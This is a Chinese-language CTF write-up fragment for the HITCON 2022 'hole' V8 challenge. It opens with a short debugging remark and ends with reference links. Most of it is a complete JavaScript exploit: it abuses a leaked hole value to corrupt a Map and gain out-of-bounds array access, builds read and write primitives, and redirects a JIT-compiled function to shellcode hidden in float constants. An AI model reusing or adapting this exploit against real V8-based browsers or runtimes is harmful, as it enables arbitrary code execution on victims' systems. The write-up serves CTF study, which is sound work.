不过我调试这种方法的时候发现,每次运行read64时都会卡在Builtins_StoreFastElementIC_Standard+4889,一直c可以c到shellcode,但是在终端直接跑脚本会报Trace/breakpoint trap,没排查出错误原因是什么,挖个坑以后填吧。

image-20220528030619137

image-20220528032358401

hitcon 2022.11 hole

const print = console.log;
const assert = function (b, msg)
{
    if (!b)
        throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
    __dvCvt.setFloat64(0, val, true);
    return __dvCvt.getUint32(0, true) +
        __dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
    const tmp0 = val % 0x100000000;
    __dvCvt.setUint32(0, tmp0, true);
    __dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
    return __dvCvt.getFloat64(0, true);
}
function d22u(val)
{ //double ==> 2 * Uint32
    __dvCvt.setFloat64(0, val, true);
}
const hex = (x) => ("0x" + x.toString(16));
const foo = ()=>
{
    return [1.0,
        1.95538254221075331056310651818E-246,
        1.95606125582421466942709801013E-246,
        1.99957147195425773436923756715E-246,
        1.95337673326740932133292175341E-246,
        2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
    foo();foo();foo();foo();
}

let a=[1.1,,,,,1]
function trigger() {
    var hole = a.hole()
    return hole
}
var map1 = null;
var foo_arr = null;
function getmap(m) {
    m = new Map();
    m.set(1, 1);
    m.set(trigger(), 1);
    m.delete(trigger());
    m.delete(trigger());
    m.delete(1);
    return m;
}

map1 = getmap(map1);
foo_arr = new Array(1.1, 1.1);// 1.1=3ff199999999999a
map1.set(0x10, -1);
map1.set(foo_arr, 0xffff);  // length 65535 
const arr = [1.1,1.2,1.3];
const o = {x:0x1337, a:foo };
const ab = new ArrayBuffer(20);
const ua = new Uint32Array(ab);
foo_arr[14] = 1.1;  // arr length
d22u(arr[5]);
const fooAddr = __dvCvt.getUint32(0, true);

//print(hex(fooAddr));
//%DebugPrint(foo);
//%DebugPrint(foo_arr);
//%DebugPrint(arr);
//%DebugPrint(ua);

var offset = 28
function readOff(off)
{
    arr[offset] = u2d((off) * 0x1000000);
    return ua[0];
}
function writeOff(off, val)
{
    arr[offset] = u2d((off) * 0x1000000);
    ua[0] = val;
}
//%SystemBreak();
codeAddr = readOff(fooAddr -1+ 0x18);
//print(hex(codeAddr));
jitAddr = readOff(codeAddr-1 + 0xc);
//print(hex(jitAddr));
writeOff(codeAddr-1 + 0xc, jitAddr + 0x95-0x19);
foo();
//%SystemBreak();

参考

https://paper.seebug.org/1822/

https://www.freebuf.com/vuls/203721.html

https://p1umer.github.io/2019/05/06/Star-CTF-OOB-writeup/